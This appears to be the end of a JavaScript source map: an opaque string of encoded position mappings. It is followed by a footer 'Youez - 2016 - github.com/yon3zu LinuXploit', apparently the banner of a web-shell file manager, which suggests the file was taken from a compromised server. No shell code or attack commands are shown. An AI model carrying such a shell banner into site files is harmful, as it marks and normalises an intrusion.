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"}

Youez - 2016 - github.com/yon3zu
LinuXploit